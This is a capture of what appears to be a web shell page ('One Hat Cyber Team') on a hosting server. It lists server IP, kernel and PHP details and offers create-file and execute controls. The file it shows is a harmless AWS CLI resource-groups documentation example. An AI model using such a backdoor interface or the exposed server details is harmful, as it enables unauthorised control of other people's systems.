⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.133
Server IP:
185.119.109.197
Server:
Linux managedhosting.chostar.me 5.15.0-160-generic #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.1.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
doc
/
awscli
/
examples
/
resource-groups
/
View File Name :
put-group-configuration.rst
**To attach a service configuration to a resource group** Example 1: The following ``put-group-configuration`` example specifies that the resource group is to contain only Amazon EC2 capacity reservations for instances in the ``C5`` or ``M5`` families. :: aws resource-groups put-group-configuration \ --group MyTestGroup \ --configuration file://config.json Contents of ``config.json``:: [ { "Type": "AWS::EC2::HostManagement", "Parameters": [ { "Name": "allowed-host-families", "Values": [ "c5", "m5" ] }, { "Name": "any-host-based-license-configuration", "Values": [ "true" ] } ] }, { "Type": "AWS::ResourceGroups::Generic", "Parameters": [ { "Name": "allowed-resource-types", "Values": [ "AWS::EC2::Host" ] }, { "Name": "deletion-protection", "Values": [ "UNLESS_EMPTY" ] } ] } ] This command produces no output if successful. For more information, see `Service configurations for resource groups
`__ in the *Resource Groups API Reference Guide*.